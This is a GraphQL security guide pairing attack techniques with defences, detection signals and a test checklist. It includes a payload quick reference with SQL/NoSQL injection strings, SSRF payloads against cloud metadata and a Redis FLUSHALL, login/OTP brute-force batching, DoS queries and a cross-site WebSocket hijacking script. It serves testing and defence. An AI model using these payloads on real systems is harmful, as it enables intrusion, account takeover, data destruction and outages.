Comprehensive GraphQL Security Guide

A practitioner’s reference for attacking and defending GraphQL APIs — discovery, introspection, schema recovery, injection, authorization flaws, batching, DoS, subscriptions, CSRF/CSWSH, engine-specific quirks, and detection/prevention. Compiled from 31 research sources.


Table of Contents

  1. Fundamentals
  2. Discovery & Fingerprinting
  3. Introspection
  4. Schema Recovery Without Introspection
  5. Query & Data Extraction
  6. Mutations & Mass Assignment
  7. Authorization Flaws (BOLA / BFLA / IDOR)
  8. Injection Through GraphQL
  9. Batching Attacks & Aliases
  10. Denial of Service
  11. CSRF & CSWSH
  12. Subscriptions & WebSockets
  13. Engine-Specific Notes (Apollo, Hasura, graphql-java, async-graphql, Mercurius)
  14. Notable CVEs & Real-World Chains
  15. Tooling
  16. Detection & Prevention
  17. Payload Quick Reference

1. Fundamentals

GraphQL is a query language and server runtime for APIs, originally developed at Facebook and open-sourced in 2015. Instead of the multiple fixed endpoints of a REST API, a GraphQL service exposes a single endpoint that accepts typed queries and returns exactly the fields the client asks for.

Core concepts:

TermDescription
SchemaType-system contract defining object types, fields, arguments, interfaces, unions, enums, scalars
QueryRead operation; multiple fields may be fetched in one request
MutationWrite operation; changes server-side state
SubscriptionLong-lived operation, usually over WebSocket, that pushes data on events
ResolverBackend function that produces the value for a single field
AliasClient-side rename of a field, enabling the same field to be requested multiple times per document
FragmentReusable chunk of fields attached to a type
DirectiveAnnotation such as @include, @skip, @deprecated
IntrospectionMeta-query capability (__schema, __type) that returns the full schema as data

Why GraphQL ends up vulnerable:

  • No built-in auth — the spec is silent on authentication and authorization; every resolver is responsible for its own checks.
  • Flat endpoint — network-layer rate limits and WAFs see a single URL and cannot reason about expensive operations hidden inside a request body.
  • Flexible composition — aliases, fragments, nested selections, and batching let one HTTP request trigger thousands of backend operations.
  • Introspection by default — most engines ship with schema self-documentation enabled, giving attackers a full map of attack surface.
  • Excessive defaults — verbose errors, did-you-mean suggestions, GraphiQL/Playground IDEs frequently exposed in production.
  • Complex type graph — the same object can be reachable through many paths, and a missing check on one path defeats checks on all others.

Impact spectrum: Information disclosure (schema, PII, private posts) → IDOR / broken authorization → authentication bypass → injection into downstream interpreter (SQL/NoSQL/OS) → SSRF via URL-taking arguments → DoS through depth/batch/alias amplification → RCE via chained file/plugin sinks.


2. Discovery & Fingerprinting

Common endpoints

Include these paths in directory brute force and JS analysis:

/graphql              /api/graphql          /v1/graphql
/graphiql             /graphql/api          /v2/graphql
/graphql.php          /graphql/graphql      /v1/explorer
/graphql/console      /graph                /v1/graphiql
/graphiql.php         /api                  /altair
/playground           /explorer             /query

SecLists ships Discovery/Web-Content/graphql.txt. Escape Technologies maintains a more recent wordlist: Escape-Technologies/graphql-wordlist.

JavaScript hunting

Developer tools → Sources → “Search all files”:

file:* mutation
file:* query
file:* __schema
file:* gql`

React/Apollo clients often embed operation documents as tagged-template gql literals or as persisted-query hashes in JSON bundles. Old/decommissioned endpoints are frequently discovered this way.

Universal probe

query { __typename }

If the response is {"data":{"__typename":"Query"}} the URL is a GraphQL endpoint regardless of whether introspection is enabled.

Additional probes that reveal the handler even when content-type filters are strict:

GET  /graphql?query={__typename}
POST /graphql  application/json      {"query":"{__typename}"}
POST /graphql  application/graphql   {__typename}
POST /graphql  application/x-www-form-urlencoded   query=%7B__typename%7D

Engine fingerprinting

graphw00f (dolevf/graphw00f) and the InQL v6.1+ engine fingerprinter classify the backend by sending deliberately malformed queries and matching error strings. Useful classifiers:

QuerySignals
query @deprecated { __typename }graphql-java vs graphql-js vs Ariadne
query { __schema } with no selectionAriadne vs Sangria error prose
queryy { __typename }Apollo suggestion format
query { alias1:__typename @skip(if:false) @skip(if:true) }Directive duplication tolerance
query { __typename @unknownDirective }Strictness of directive validation

Known engines seen in the wild: Apollo Server, graphql-js/express-graphql, graphql-java, Hasura, HotChocolate (.NET), Sangria (Scala), Ariadne (Python), Strawberry (Python), graphql-ruby, gqlgen (Go), async-graphql (Rust), Juniper (Rust), Mercurius (Node/Fastify), Lighthouse (PHP), WPGraphQL.


3. Introspection

Minimal enumeration

{ __schema { types { name fields { name } } } }

Extract types with arguments and their underlying type kinds:

{ __schema { types { name fields { name args { name description type { name kind ofType { name kind } } } } } } }

Full introspection query

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types { ...FullType }
    directives { name description locations args { ...InputValue } }
  }
}
fragment FullType on __Type {
  kind name description
  fields(includeDeprecated:true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason }
  inputFields { ...InputValue }
  interfaces { ...TypeRef }
  enumValues(includeDeprecated:true) { name description isDeprecated deprecationReason }
  possibleTypes { ...TypeRef }
}
fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue }
fragment TypeRef on __Type {
  kind name
  ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } }
}

Some servers reject the query because of the onOperation, onFragment, onField directive selections of older specs — remove them if the request errors out.

Inspect a single type

{ __type(name:"User") { name fields { name type { name kind ofType { name kind } } } } }

Bypassing introspection blockers

Many “disable introspection” rules are implemented as a regex that greps the request body for __schema or IntrospectionQuery. Attackers routinely bypass these with:

TrickPayload
Whitespace / newline after keywordquery{__schema\n{queryType{name}}}
Comment injectionquery{__schema #foo\n{queryType{name}}}
GET instead of POSTGET /graphql?query={__schema{types{name}}}
application/x-www-form-urlencodedquery=%7B__schema%7Bt...%7D%7D
application/graphql bodyraw query, no JSON wrapping
WebSocket transportconnect wss://host/graphql with graphql-ws subprotocol, send GQL.START with introspection payload
Alternate parser (XML, YAML)some servers accept application/xml or multipart/form-data operations field
Case variation where parser is laxquery{__Schema{...}}
Query batching wrapperplace introspection inside a batched array

When the filter is applied only to anonymous users, authenticate first.


4. Schema Recovery Without Introspection

Field suggestions

graphql-js produces “Did you mean X?” messages on typos. Clairvoyance (nikitastupin/clairvoyance) and its fork Clairvoyancex exploit this to brute-force types and fields from a wordlist. The tool sends queries with candidate names, parses suggestion output, and rebuilds a reasonable approximation of the schema.

Error oracles

Even without the did-you-mean feature, error text leaks useful facts:

  • Field 'bugs' not found on type 'inql' → parent type exists, field does not
  • Argument 'contribution' is required → argument exists and name is confirmed
  • Expected type 'Int!', found "abc". → field’s real type signature, including list wrappers like [Episode!]
  • Cannot query field X on type Y → type name confirmed
  • Errors that leak file paths, framework versions, SQL fragments, stack traces

InQL v6.1+ includes an error-based schema bruteforcer that recurses into every newly discovered type, deliberately sending wrong-primitive values to force type-mismatch messages that reveal full signatures.

Passive capture

  • GraphQuail Burp extension observes traffic and assembles a schema from operations it has seen. It even serves a fake introspection response back to GraphiQL and Voyager.
  • Persisted-query stores (/persisted-operations.json, Apollo Automatic Persisted Queries caches) sometimes leak IDs that can be replayed.
  • Mobile apps (APK / IPA) often contain the signed hash → operation mapping.

Source/JS review

Grep the frontend bundle for gql\``, graphql`, operationName, query , mutation `. Preloaded documents frequently reveal entire object graphs.


5. Query & Data Extraction

Once the schema is known, enumerate the Query root to find entrypoints. The introspection result tells you which fields are directly queryable and which require arguments.

Primitive fields

{ hiddenFlags }

Object fields

{ flags { name value } }

By argument

{ user(uid: 1) { user password } }

If you know the type but not the argument, the full-introspection output of the parent type tells you every argument name and its expected scalar.

Empty-string/regex wildcard trick

{ theusers(description: "") { username password } }

An empty search string frequently maps to “match everything” and returns the full table.

Edges / nodes (Relay connections)

{
  teams {
    totalCount
    edges { node { id about handle state } }
  }
}

Always check both edges.node.* and direct node(id: "...") — authorization checks are frequently only added to one of the two.

Projection abuse

Some schemas expose MongoDB/Mongoose-style projection arguments:

{ doctors(options:"{\"patients.ssn\":1}") { firstName lastName patients { ssn } } }

Path enumeration

graphql-path-enum lists every route that reaches a given type. Useful when direct access to User is blocked but a path like Query → JobListing → Team → AuditLogItem → User still works:

$ graphql-path-enum -i schema.json -t Skill
Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User ...

6. Mutations & Mass Assignment

Mutations accept strongly typed input objects. The risk classes are:

ClassExample
Missing authZ on mutationanyone can call deletePost(id:)
Mass assignmentregisterAccount(role:"ADMIN") — a privileged field is accepted in the input because developers trusted the input type
Type confusionenum or scalar that the backend parses loosely (e.g. String passed where ID expected)
Hidden mutationintrospection or source grep reveals internalUpdateUser not exposed in the UI
Replay / idempotencymutation without nonce that can be replayed for free credits, duplicate votes, etc.
Return-field leakmutation’s response type leaks a field (e.g. user { token }, user { passwordHash }) the UI never renders

Classic mass-assignment PoC:

mutation {
  registerAccount(nickname:"x", email:"x@x", password:"P", role:"ADMIN") {
    token { accessToken }
    user { email role }
  }
}

Always diff __type(name:"RegisterInput") against the happy-path form submitted by the web UI — extra fields are the bug.


7. Authorization Flaws (BOLA / BFLA / IDOR)

GraphQL has no built-in access control. Every resolver must re-check ownership and role.

Patterns

  • Primary-key trustpost(id: 42) returns whatever matches, regardless of requester.
  • Nested object walk{ me { team { members { email } } } } — the me field enforces auth, but team.members doesn’t.
  • Edge vs node drift — HackerOne report H1:489146: edges enforced authZ, direct node(id:) did not.
  • Field-level overexposureuser { id name } is fine, but the resolver returns passwordHash, emailVerificationToken, totpSecret on the same type.
  • Union / Interface leakage — an interface Content is implemented by PublicPost and PrivatePost; the resolver forgets that a fragment selection on ...on PrivatePost needs a stricter check.
  • Mutation without query-side auth — reading a record is forbidden but updateRecord(id:, patch:{}) returns the updated object, effectively a read primitive.

Authentication bypass via GraphQL

HackerOne disclosed a case where the sign-in mutation returned a valid session token whenever the provided password field was null or a list — a type-coercion bug in the underlying ORM, exposed because GraphQL parsed the request successfully and passed the unexpected type through to the auth function.

Testing recipe

  1. Dump every Query and Mutation field.
  2. For each field that takes an ID, try: (a) your own ID, (b) another user’s ID, (c) an admin-scoped ID, (d) an ID outside your tenant.
  3. Enumerate every path to sensitive types with graphql-path-enum. Test each path independently.
  4. Diff authenticated vs unauthenticated responses.
  5. Check both query and mutation routes to the same resource.
  6. For interfaces and unions, request every ...on ConcreteType fragment.
  7. Look for node/nodes generic resolvers (Relay) — they historically bypass per-type checks.

8. Injection Through GraphQL

GraphQL is a translation layer; what the resolver does with your input is where the bug lives.

SQL injection

Unquoted identifier / ORDER BY / LIMIT insertion is common because developers think “it’s GraphQL, it’s safe”:

{ bacon(id: "1'") { id type price } }
POST /graphql?embedded_submission_form_uuid=1';SELECT pg_sleep(30);--

Look for fields that accept orderBy, sort, filter as a free-form string rather than a typed enum.

NoSQL injection

MongoDB operators passed through as JSON:

{
  doctors(
    options: "{\"limit\":1,\"patients.ssn\":1}",
    search:  "{\"patients.ssn\":{\"$regex\":\".*\"},\"lastName\":\"Admin\"}"
  ) { firstName lastName patients { ssn } }
}

Command injection

Any resolver that shells out (exec, system, ImageMagick convert, git, LDAP bind) with a user-supplied argument.

SSRF

Resolvers that fetch URLs (image proxies, webhook registrations, avatar imports, preview generators) are injection points for SSRF. Abuse them the same way as REST SSRF: internal metadata endpoints (169.254.169.254), localhost admin panels, file:// where libcurl is used, gopher:// smuggling. The WPGraphQL CVE-2023-23684 chain used an SSRF-to-RCE primitive through the WordPress plugin bus.

XXE / SSTI

Any mutation that accepts XML, SVG, Markdown, or templated fields and passes the value unchanged to a templating/parsing engine.

Directive injection

Some engines allow user-supplied directive arguments to influence parsing or execution — directive overloading is also a DoS primitive (section 10).


9. Batching Attacks & Aliases

GraphQL lets a single HTTP request carry many logical operations. From the perspective of a network rate limiter that counts HTTP requests, 10,000 login attempts look like one request.

Three batching styles

1. JSON array batching (supported by Apollo, graphql-js, many others):

[
  {"query":"mutation{login(u:\"bob\",p:\"0001\"){token}}"},
  {"query":"mutation{login(u:\"bob\",p:\"0002\"){token}}"},
  {"query":"mutation{login(u:\"bob\",p:\"0003\"){token}}"}
]

2. Aliased batching (any spec-compliant server):

mutation {
  a: login(username:"bob", pass:"0001") { token }
  b: login(username:"bob", pass:"0002") { token }
  c: login(username:"bob", pass:"0003") { token }
}

3. Query-name batching:

query { a:Query{field1} b:Query{field1} c:Query{field1} }

Use cases

ScenarioEffect
Password brute forceN logins per request, bypasses per-IP rate limits
2FA / OTP brute forceExhaust the 10k 4-digit pin space in one request
Coupon / promo code enumerationStealthy generation of valid codes
Object enumerationPull 10k user profiles in one call
IDOR amplificationMany user(id:1), user(id:2) in one query

Mitigations

Server-side rate limits must be counted per-operation, not per-HTTP-request. Options:

  • Limit the number of aliases per field (e.g., login may appear at most 1x per document).
  • Limit operations per batch array (and reject batches > 1 for sensitive mutations).
  • Per-user operation counters with token-bucket enforcement.
  • Apollo Server v4 supports allowBatchedHttpRequests:false and custom ApolloServerPluginUsageReporting hooks.

10. Denial of Service

Depth attacks

A cyclic schema lets a short query expand into massive server work:

query evil {
  album(id:42) {
    songs { album { songs { album { songs { ... } } } } }
  }
}

Modern engines support MaxQueryDepthInstrumentation (graphql-java) or graphql-depth-limit (JS).

Amount attacks

{ author(id:"x") { posts(first: 999999999) { title comments(first: 999999999) { body } } } }

Always validate and cap list arguments. Prefer cursor-based pagination.

Alias amplification

The same field 10,000 times with different aliases:

{ a1:expensive{x} a2:expensive{x} ... a10000:expensive{x} }

Field duplication (no alias needed)

graphql-js historically deduplicates identical selections, but many engines execute duplicates:

{ users { id id id id id ... } }

Directive overloading

CVE-2024-47614 (async-graphql / Rust): repeat a directive millions of times on a single field to exhaust parser/validator.

query { __typename @a @a @a @a @a @a ... }

Landh.tech documented a $50k Google bug using the same primitive.

Introspection DoS

A deeply nested ofType { ofType { ... } } introspection query can itself be weaponized against a server that supports introspection but has no cost limit.

Regex injection

filter arguments passed to backend regex engines enable ReDoS via catastrophic backtracking strings.

Long-running resolvers

Expensive fields (image transform, PDF render, export job) without per-user quotas. Combined with batching, one request can tie up worker pools.

Query cost analysis

The strongest defense. Assign a static cost to each field and a multiplier for list arguments. Reject queries whose total cost > budget before execution.

Tools: graphql-cost-analysis, graphql-validation-complexity (JS), MaxQueryComplexityInstrumentation (Java), Apollo’s @cost directive.


11. CSRF & CSWSH

HTTP CSRF

A GraphQL endpoint is CSRF-able when:

  • It accepts cookie-based session auth.
  • It accepts GET requests with ?query= or accepts application/x-www-form-urlencoded bodies.
  • It does not require a custom header (X-Requested-With, Apollo-Require-Preflight, X-CSRF-Token).

Simple probe:

GET /graphql?query=query+%7B+a+%7D
POST /graphql
Content-Type: application/x-www-form-urlencoded

query=query+%7B+a+%7D

If either returns a GraphQL error (e.g. “Cannot query field a”), the server parsed the request — the CSRF path is live. Pick a state-changing mutation (password change, email update, token rotation) to demonstrate impact.

Apollo Server’s CSRF prevention (default in v4) refuses requests that don’t include at least one of Apollo-Require-Preflight, X-Apollo-Operation-Name, or a non-standard content type — effectively forcing the browser to do a preflight. Enable it.

CSWSH (Cross-Site WebSocket Hijacking)

Subscriptions over graphql-ws / subscriptions-transport-ws inherit the session cookie and have no Origin check by default. An attacker page can open a WebSocket to wss://victim/graphql and receive the victim’s subscription stream in the attacker’s context.

Mitigation: validate the Origin header on the WebSocket upgrade, require a separate auth token in the connectionParams payload, and do not trust cookies for subscriptions.


12. Subscriptions & WebSockets

Subscriptions are long-lived, commonly carried over:

  • graphql-ws (modern protocol, subprotocol graphql-transport-ws)
  • subscriptions-transport-ws (legacy protocol, subprotocol graphql-ws) — deprecated but very common

Attack surface

IssueNotes
Missing auth at upgrademany servers authenticate HTTP but not the WS handshake, so anon users get the channel
Missing authZ on eventsevents pushed to any subscriber of a topic, regardless of their ownership (e.g., Directus CVE-2023-38503)
Introspection over WSWAFs rarely inspect frames; WS can be used to bypass WAF-level introspection filters
Replayable connectionParamstoken in initial payload never re-validated on reconnect
TLS validation bugs in clientsAltair GraphQL desktop CVE-2024-54147 — WSS certificate not verified, MITM read & modify
DoS via malformed framesMercurius CVE-2023-22477 — malformed GraphQL subscription frame crashed the server
DoS via legitimate floodGitLab CVE-2023-0921 — repeatedly sending an extremely expensive query over one WS connection spiked CPU without triggering HTTP-layer rate limits

Basic exploit probe

ws = new WebSocket("wss://target/graphql","graphql-ws")
ws.onopen = () => ws.send(JSON.stringify({
  type:"GQL.START", id:"1",
  payload:{ query:"{ __schema { types { name } } }" }
}))
ws.onmessage = e => console.log(e.data)

Newer graphql-transport-ws uses message types connection_init, subscribe, next, complete instead.

Defensive checklist

  • Authenticate the WS upgrade (cookie or bearer in connectionParams).
  • Enforce per-event authorization in the subscribe resolver, not only when the channel is opened.
  • Validate Origin against an allowlist.
  • Apply depth, cost, and rate limits to the query inside payload before subscribing.
  • Set a hard message-size and message-rate cap per connection.
  • Disable introspection over WS if it’s disabled over HTTP.

13. Engine-Specific Notes

Apollo (Node, Apollo Server v3/v4)

  • Introspection: on by default unless NODE_ENV=production; v4 adds explicit introspection:false.
  • Error masking: includeStacktraceInErrorResponses:false (v4) or debug:false (v3).
  • CSRF prevention: csrfPrevention:true (default v4).
  • Batching: controlled by allowBatchedHttpRequests.
  • Persisted queries: can be configured to allow only a known allowlist (effectively disabling ad-hoc queries in production).
  • Federation: subgraphs often forget authZ and trust the gateway — test subgraphs directly.

graphql-js / express-graphql

  • Suggestion strings are on by default. Disable with a custom validation rule or Shapeshifter.
  • graphiql:true default in dev is a common prod leak.
  • Use NoIntrospection validation rule.

Hasura

  • Admin endpoint gated only by X-Hasura-Admin-Secret header — if it leaks (env var in frontend bundle, misconfigured proxy), full schema and data are exposed.
  • Row-level permissions defined per role; an empty permission = no access, a {} permission = unrestricted.
  • Remote schemas and actions can proxy to backends and are an SSRF primitive if misconfigured.
  • /v1/graphql for user ops, /v1/metadata, /v1/query (v1 only) for admin ops.

graphql-java

  • MaxQueryDepthInstrumentation, MaxQueryComplexityInstrumentation — wire them up.
  • NoIntrospectionGraphqlFieldVisibility.NO_INTROSPECTION_FIELD_VISIBILITY disables introspection.
  • CVE-2024-40094 — depth/complexity instrumentation could be bypassed through Execution Node Factory (ENF) when certain selection shapes were used.

HotChocolate (.NET)

  • Uses AddAuthorization() + [Authorize] attributes per field; omissions are common.
  • Supports Relay connections natively; check node/edge path drift.

async-graphql (Rust)

  • CVE-2024-47614 — directive overload DoS.
  • Enable limit_directives, limit_depth, limit_complexity guards.

Mercurius (Node/Fastify)

  • CVE-2023-22477 — malformed subscription frame crash.
  • Has built-in query-depth and persisted-queries plugins.

WPGraphQL (WordPress)

  • CVE-2023-23684 — SSRF primitive that chained through WP plugin behavior to RCE.
  • Historically exposes many fields through node/nodeByUri resolvers without tenant separation.
  • Auth is whatever WP says; nonce handling is a frequent source of CSRF on mutations.

Lighthouse (Laravel)

  • Directive-based schema (@auth, @can); missing a directive on one field is an easy authZ miss.

14. Notable CVEs & Real-World Chains

CVE / CaseProductClassNotes
CVE-2023-23684WPGraphQLSSRF → RCEimage import resolver fetched attacker URL, chained through WP plugin
CVE-2024-40094graphql-javaDepth/complexity bypassENF selection shape defeated instrumentation
CVE-2024-47614async-graphql (Rust)DoSdirective overload on a single field
CVE-2024-50311Red Hat OpenShiftDoS via alias batchingreported by Kubiak, Zakrzewski, Zdunek
CVE-2023-38503DirectusSubscription authZevents pushed to unauthorized subscribers
CVE-2024-54147Altair GraphQL desktopWSS TLS validationMITM read/modify subscription traffic
CVE-2023-22477MercuriusDoSmalformed subscription frame crash
CVE-2023-0921GitLabDoSexpensive query over WS, CPU spike
Landh.tech GoogleGoogle internalDirective overload DoS$50,000 reward
HackerOne H1:489146(private)Authz drift between edges and nodesnode path bypassed edge-level checks
HackerOne H1:435066(private)IDOR via GraphQLinternal GraphQL API returning other-user data
HackerOne Auth-bypass report(private)Type confusionlogin mutation accepted null / list password
GitLab 12.0.3GitLabAuthorization issues in GraphQLmultiple resolvers missing checks
New RelicNew RelicIDOR via internal APIJon Bottarini, reaches admin data
PWning WordPress GraphQLWP pluginInfo disclosurepentestpartners write-up

Typical chain shapes

  1. Discovery → Introspection → Mass-assignment mutation → Self-promotion to admin → Full read.
  2. CSRF probe → sensitive mutation via application/x-www-form-urlencoded → victim account takeover.
  3. Introspection off → Clairvoyance → hidden internalUpdateUser mutation → privilege escalation.
  4. Batch mutation login → password/OTP brute force → account takeover.
  5. SSRF in image-URL mutation → cloud metadata → IAM credentials → full cloud takeover.
  6. Depth/alias DoS proof → directive overload amplification → service outage.
  7. WS subscription with no Origin check → CSWSH → steal live admin stream.

15. Tooling

Recon & fingerprinting

ToolPurpose
graphw00fEngine fingerprinting via error signatures
InQL (Burp)Discovery, introspection import, error-based bruteforce, engine fingerprinter, schema-aware scanner, CSRF PoC generator
GQLParser (Burp)Lightweight extension that parses GraphQL bodies in the Burp UI
GraphQuail (Burp)Passive schema builder from observed traffic
AltairGraphQL IDE (Chrome/desktop)
GraphQL IDE (andev-software)Heavy IDE for schema exploration
GraphQL VoyagerVisual graph of types and relationships — paste introspection JSON
GraphiQLReference web IDE, often left in prod
InsomniaGraphQL-aware HTTP client

Schema recovery / fuzzing

ToolPurpose
Clairvoyance / ClairvoyancexRebuild schema from suggestion errors; fork has HTTP proxy support
GQLSpection (Doyensec)Parse introspection and generate ready-to-send queries/mutations
graphql-path-enumEnumerate all paths to a type
graphql-wordlist (Escape)Community wordlist for fuzzing field/type names

Attack tools

ToolPurpose
GraphQLmap (swisskyrepo)Scripting engine for pen-testing
BatchQL (Assetnote)Detect introspection, suggestions, CSRF, JSON-array & query-name batching; batch brute-force
CrackQLPassword/field brute force via batching
graphql-cop (dolevf)Security auditor — introspection, batching, DoS, info disclosure checks
graphql-threat-matrixResearch matrix comparing engines across security features
GraphCrawlerAutomated testing toolkit

Defensive / SAST

ToolPurpose
graphql-depth-limit (JS)Depth cap validation rule
graphql-cost-analysis / graphql-validation-complexityCost caps
MaxQueryDepthInstrumentation / MaxQueryComplexityInstrumentation (graphql-java)Built-in depth and complexity limiters
ShapeshifterDisables did-you-mean suggestions
NoIntrospection validation ruleBlocks __schema/__type selections
StackHawkDAST with GraphQL awareness
VespasianRuntime analysis claiming to see what SAST cannot — GraphQL among other frameworks

16. Detection & Prevention

Design-time

  • Treat every resolver as an authorization boundary. Write a helper like assertCanRead(ctx, obj) and call it unconditionally in every resolver that returns sensitive data.
  • Prefer input objects with explicit allowlists over free-form JSON string arguments.
  • Use scalars and enums aggressively. Custom scalars (EmailAddress, URL, UUID) give you a single place to validate.
  • Keep the schema minimal — don’t expose fields you don’t intend clients to use.
  • Separate internal and external schemas. Do not let an admin-only type bleed into the public one via a shared interface.
  • Pin GraphQL engine versions; subscribe to CVE feeds for your engine.

Build-time

  • Lint the schema. graphql-schema-linter catches naming and type issues; custom rules can require an @auth directive on every mutation.
  • Snapshot the schema and fail CI on changes unless explicitly acknowledged (catches accidental exposure).
  • Run SAST that understands GraphQL resolver → sink flow.

Runtime

ControlNotes
Introspection off in prodNO_INTROSPECTION_FIELD_VISIBILITY (Java), NoIntrospection rule (JS), introspection:false (Apollo v4)
Suggestions offShapeshifter or custom didYouMean override
Errors maskeddebug:false, includeStacktraceInErrorResponses:false, custom error formatter
Depth limite.g. max depth 10
Amount limitper-list first/last argument max
Cost budgetquery cost analysis with a per-user cost quota
Rate limitper-IP and per-user, counted per-operation not per-HTTP
Batch capmax N operations per batch; disable for sensitive mutations
Alias capmax N aliases per field, or disable aliases for sensitive mutations
Timeoutsapplication-level resolver timeout + infra-level request timeout
CSRF preventionrequire custom header, reject application/x-www-form-urlencoded, validate Origin
CORSdo not Access-Control-Allow-Origin:* with credentials
GraphiQL / Playground offin prod
Persisted queries onlyaccept only documents whose hash is in the allowlist
Per-event subscription authZre-check ownership on every push, not only at subscribe time
WS Origin allowlistvalidate at upgrade

Detection signals (log / SIEM)

  • HTTP requests with body size > 20 KB targeting /graphql.
  • POSTs to /graphql that return many errors (schema probing).
  • __schema or IntrospectionQuery in request body from non-dev IPs.
  • Did you mean in response body (suggests fuzzing is working).
  • Batch arrays of length > 5.
  • Alias count > 20 on a login or OTP mutation.
  • Subscription connectionParams missing auth.
  • Repeated Cannot query field errors from a single actor.
  • Repeated Argument ... is required and Expected type errors — Clairvoyance in action.
  • Unusually nested ofType{ofType{...}} introspection.

Test checklist

  1. Identify the endpoint; confirm __typename probe.
  2. Fingerprint the engine (graphw00f or InQL).
  3. Attempt introspection; if blocked, try bypass encodings.
  4. Recover schema via Clairvoyance / error oracles if needed.
  5. Enumerate every query and mutation root field.
  6. For each ID argument, test IDOR / BOLA.
  7. For each mutation, diff input shape against any leaked client form — look for mass-assignment candidates.
  8. Test every injection class on string arguments.
  9. Probe batching (JSON-array + aliases + query-name) against auth, OTP, coupon flows.
  10. Probe depth, amount, alias, directive DoS against a non-prod target.
  11. Probe CSRF (GET + urlencoded).
  12. If subscriptions exist, probe CSWSH and per-event authZ.
  13. Verify error verbosity.
  14. Verify rate-limit counts per operation.

17. Payload Quick Reference

Existence probes

{ __typename }
query { __typename }
query{__schema{queryType{name}}}

One-shot introspection (inline)

{__schema{queryType{name}mutationType{name}subscriptionType{name}types{kind name fields{name args{name type{name kind ofType{name kind}}}}}}}

Introspection-off bypasses

query{__schema
{queryType{name}}}
GET /graphql?query={__schema{types{name}}}
POST /graphql  Content-Type: application/x-www-form-urlencoded
query=%7B__schema%7Btypes%7Bname%7D%7D%7D
wss://target/graphql  (subprotocol: graphql-ws)
{"type":"GQL.START","id":"1","payload":{"query":"{__schema{types{name}}}"}}

Single type inspection

{ __type(name:"User"){ name fields{ name type{ name kind ofType{ name kind } } } } }

Empty-string dump

{ users(search:"") { id email role } }

Alias batching brute force

mutation {
  a1:login(u:"bob",p:"0000"){token}
  a2:login(u:"bob",p:"0001"){token}
  a3:login(u:"bob",p:"0002"){token}
  # ... up to thousands
}

JSON-array batching

[
  {"query":"mutation{login(u:\"bob\",p:\"0000\"){token}}"},
  {"query":"mutation{login(u:\"bob\",p:\"0001\"){token}}"}
]

Depth DoS

query {
  album(id:1){songs{album{songs{album{songs{album{songs{name}}}}}}}}
}

Amount DoS

{ users(first:99999999){ posts(first:99999999){ comments(first:99999999){ body } } } }

Directive overload DoS

query { __typename @skip(if:true) @skip(if:true) @skip(if:true) @skip(if:true) }

(Repeat the directive hundreds/thousands of times.)

CSRF probes

GET /graphql?query=query+%7B+a+%7D

POST /graphql
Content-Type: application/x-www-form-urlencoded

query=mutation+%7B+deleteAccount+%7D

SQL injection smoke test

{ bacon(id:"1'") { id } }
{ bacon(id:"1) OR 1=1--") { id } }
{ bacon(id:"1';SELECT pg_sleep(10);--") { id } }

NoSQL injection

{ users(filter:"{\"$where\":\"sleep(5000)\"}") { id } }
{ users(search:"{\"email\":{\"$regex\":\".*\"}}") { id email } }

SSRF in URL-taking field

mutation { importAvatar(url:"http://169.254.169.254/latest/meta-data/") { ok } }
mutation { registerWebhook(url:"http://127.0.0.1:8500/v1/kv/?recurse") { id } }
mutation { createPreview(url:"gopher://127.0.0.1:6379/_FLUSHALL") { id } }

Mass-assignment smoke

mutation { registerAccount(email:"x@x",password:"x",role:"ADMIN",isStaff:true,tenantId:1){ user{ role } } }

Subscription probe (CSWSH)

const ws = new WebSocket("wss://victim/graphql","graphql-transport-ws");
ws.onopen = () => ws.send(JSON.stringify({type:"connection_init",payload:{}}));
ws.onmessage = e => {
  const m = JSON.parse(e.data);
  if (m.type === "connection_ack") {
    ws.send(JSON.stringify({
      id:"1", type:"subscribe",
      payload:{ query:"subscription{ adminActivity{ id actor action } }" }
    }));
  } else { console.log(m); }
};

Useful error-based discovery triggers

{ thisdefinitelydoesnotexist }          # suggestion leak
{ user(id:"abc") }                      # type mismatch — reveals Int vs ID
{ user }                                # "Argument required" — reveals arg name
query @deprecated { __typename }        # engine fingerprint
{ __schema{__typename} }                # blocked-word bypass via newline/comment

Sources: compiled from 31 clipped research notes covering HackTricks, OWASP, Assetnote (BatchQL), Doyensec (InQL, Security Overview), YesWeHack, PortSwigger labs, PayloadsAllTheThings, Escape Technologies, Wallarm, Apollo docs, graphql-java docs, graphql-cop, graphw00f, Clairvoyance, Vespasian, StackHawk, HackerOne disclosed reports (H1:489146 and others), Red Hat OpenShift / CVE-2024-50311, Directus CVE-2023-38503, Mercurius CVE-2023-22477, GitLab CVE-2023-0921, Altair CVE-2024-54147, graphql-java CVE-2024-40094, async-graphql CVE-2024-47614, WPGraphQL CVE-2023-23684, and bug-bounty writeups.